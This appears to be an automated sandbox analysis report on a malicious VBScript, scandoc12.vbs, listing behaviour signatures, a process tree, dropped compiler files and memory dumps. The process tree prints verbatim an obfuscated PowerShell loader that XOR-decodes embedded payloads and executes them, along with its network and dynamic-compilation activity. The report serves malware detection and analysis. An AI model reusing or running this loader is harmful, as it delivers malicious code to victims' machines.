Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/07/2026, 12:19

General

  • Target
    scandoc12.vbs
  • Size 18KB
  • Sample260724-phfjlayvgw
  • SHA256 0b2fed30ecb51f8da781148bb79ed6dc572d3f8fb36b4dc1aa017254017581e9
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\scandoc12.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=50-36;$bxGz5I='WWkxjoqOjjdV';$ch5NhAas='f0f792a6a1b7afc893acab998dddec81a5a6b48ba4b3eecff0f79a9ca5b1f5b6a5b2b8959e9891bda9abafa8a1aeaf9b988f9ce8fa96be86b5b2a78884adb3bdb4aab88aace0f3dca6b3a4a6ee96be86b5b2a78884adb3bdb4aab88aac94b78c98a0fbe894a9a8d4f2cdc4d89fcbf5efe7a183abb0a2a39f9aa8f2bebaa19cb3b48fb7becc9ef3beb59fa2a794a596b2cda796e2b590b6b3ada289aa979986beb6a7b196a7a386aa949f86beaa8c9cabb39996b287b48790af9c8cd0f0a2fccdb5a49980aca0e8a7f199a3848da4b890baa19ca3f0a199b19aac999cba9f8cd4a9a286979aa986eba89f9ea3baa3fcaa89a4acaaf58e9caff5a489aa9fa59290ae8e839182a3fdb2919f9698b3a088a7af909bba879ef384b49cb69df58ca59891998484f49f8cabf1a4899088a7f194baa6e9b3b499a384c8b682b9f78c9c89ad8b899b9ab495e3b5a18c9db38b9688c4b48998aca193b3b9a2a7bebf9e899085a7e9d4a8a199c888acf284b9a6b6b3b5a48bae8b9f9694b0a7b2d08da2fcba96b686b1b08ae8d4f9e7c3f6bc99a5ff94bcab80e0ed9a858d9885b7a6acb58cb4a9a192ddd59a86a5bdafcb85aead939994afb59dffe1b09486f6d2ba98b581b4b7b28ba7e895bf9293b7b7b2b186dffa86bc9390bfa0a1a5f3efb6b4b2a7929ad5e5b0f6f1f2cce9cdc49a8893a2a6a9aab5c5a4e8ea90d486e5a5fd8bbe92ed8fac96989eb5f28ea0afcb97a5acbf9194a4bcb4fef3a2a5b4e3ae9c93a5bdade5ff89e0ed8d938893b5f2e4a9f5a6afb5a088d481e4a9b4b7a29eb2a5ba898f93e1f6b7eb9f8ab7aea2939c9985b3b4a4f3c19fe9b39f9c89a2babbb8a698cdcaa889939eb5bbafabfb8ce8e4afd0d989edf6ade9ff95fd80e6d5d486e5abfd9e8b8da1aeba9390baa0a6a598e1df8cafaf98bc8eb2b7ada7b79ce8e4afd5c6d993ef';$tguxISs='JnsQalpOcGNPWkIrK34BVhtlClxKU11NY29bDRJfVTobS0w4JmwDCW0UY39LclR3am1aBRtXCDJkbVRlbmddWVZVSjR9Vl9na2xZa1NbQ2liGGF2YG5XThN0S3RvSlNva2ESfktbUHNcE3htcXZfQ1xfAzMWBBVsP2tYBR4eSjR2TGJ3Y3ZXThZBf1tcS1h1Y3ZRX2IAHllNWlB3Z0tQXktbSnlaFxVRK38FCVEUbXRJUFpmKiZRARtKDWcyNTwJJmkDbRcSA3JLSxYjKSIZXQUVC2BGUVhuZSxdQlIVFTRVT1YkKy4WCldOUGoFEB52cWNYTFFJU39aT0J3Y2lbXg0KFiwRSkIscndMSBALCnBPWBYqKw80RFkSDD5YAlUjJmkXAF5UQDIbSwxYVmdGWRF/SnlQW1htZV8EF2puYiIReFR3UXZMRFFdDD5YFhgub2NKTlcdGCZsa3AkIikeCm1uGiQXERs8Kz4CaHF+GiQYFkoOCCIeCVhdQjoCHxZ3enYQX1dUT3hbUh5xZ3ZQSBBXS3kRRldlb2sRAgVJQ2lZVFZlamRNS0xeAzoEHxVkZWQeEB8eQ31ZEWJ2YHFKX1ZUQzIPExEnZWVYA3NfSn1LVxEuIjMMBDIwAHYfAhEkMiUeFjIwBDofH1gjKll9QlFMQWhLYgs5RHBRQH1bV38JC2J3cGtQShceaXtLXFlmcVkPcBYTBD1SRkFxbWVMTFIUbHVSWlRwJSIZX0pUV2kYH3ErJmVZSxMaAHYTHxYkLiIZf1pdZWlSGB0jJTIZDRMaA2IJCxYqDwgeDR8aY39LEmFxbWFbXkxGV3VNSxFAUlceAFtfV3lDTFRvZ2FKDRJcTWhMSxE2fmRKDXFbSX8TfGFWIn8zJzIwBDofHxEjIiIeDQ==';$gtcMdCzIY=0x368C-0xD07B;$mBFUcn=@();foreach($c in [char[]]$bxGz5I){$mBFUcn+=[byte]($c-bxor0xAA)};$zUdSyFAfD=$mBFUcn;$mBFUcn=@();foreach($c in [char[]]$bxGz5I){$mBFUcn+=[byte]($c-bxor0x55)};$kg6a5K=$mBFUcn;$mBFUcnoldR='';$i=0;for($j=0;$j-lt$ch5NhAas.Length;$j+=2){$mBFUcnoldR+=[char](([Convert]::ToInt32($ch5NhAas.Substring($j,2),16))-bxor$zUdSyFAfD[$i++%$zUdSyFAfD.Length])};$bWCiRm=$mBFUcnoldR;$mBFUcnoldB=[Convert]::FromBase64String([regex]::Replace($tguxISs, '$mBFUcn', ''));$mBFUcnoldR='';$i=0;for($j=0;$j-lt$mBFUcnoldB.Length;$j++){$mBFUcnoldR+=[char]($mBFUcnoldB[$j]-bxor$kg6a5K[$i++%$kg6a5K.Length])};$jsg7QQ6=$mBFUcnoldR;$sIdP0HqTo=$bWCiRm+$jsg7QQ6;.($env:ComSpec[4,26,25]-join'') $sIdP0HqTo
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3756
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oj5is4b1\oj5is4b1.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1444
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4685.tmp" "c:\Users\Admin\AppData\Local\Temp\oj5is4b1\CSC4DFBE45B4B2E4005B3C4E2BAE2618.TMP"
          4⤵
            PID:4424

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES4685.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES4685.tmp
          • Size 1KB
          • SHA256 1ac3add94ad4c23627fc0eaa86252c2202c640de6084132b7bbfd346f48180d1
          • MD5 SHA1 SHA512 TLSH

          oj5is4b1.dll

          • Path C:\Users\Admin\AppData\Local\Temp\oj5is4b1\oj5is4b1.dll
          • Size 3KB
          • SHA256 6f085a6dae84911581f2267918b9c444708f59285b9ae29cf805ef756a239ac4
          • MD5 SHA1 SHA512 TLSH

          CSC4DFBE45B4B2E4005B3C4E2BAE2618.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\oj5is4b1\CSC4DFBE45B4B2E4005B3C4E2BAE2618.TMP
          • Size 652B
          • SHA256 6ddbbad2b033bfbd9bac843095043c5bb0f3e3a7582883ff0d4aaecf9f9e631b
          • MD5 SHA1 SHA512 TLSH

          oj5is4b1.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\oj5is4b1\oj5is4b1.0.cs
          • Size 213B
          • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
          • MD5 SHA1 SHA512 TLSH

          oj5is4b1.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\oj5is4b1\oj5is4b1.cmdline
          • Size 369B
          • SHA256 94c80d3d6ab05a2a89e31c9aaedce86d69f8fa0d9d599665afcdb709c945b413
          • MD5 SHA1 SHA512 TLSH

          memory/3756-12-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

          memory/3756-14-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

          memory/3756-9-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

          memory/3756-10-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

          memory/3756-11-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

          memory/3756-0-0x00007FFFF8E1F000-0x00007FFFF8E20000-memory.dmp

          memory/3756-13-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

          memory/3756-8-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

          memory/3756-7-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

          memory/3756-6-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

          memory/3756-27-0x000001F3D3320000-0x000001F3D3328000-memory.dmp

          memory/3756-5-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

          memory/3756-4-0x000001F3D3330000-0x000001F3D3352000-memory.dmp

          memory/3756-1-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

          memory/3756-29-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp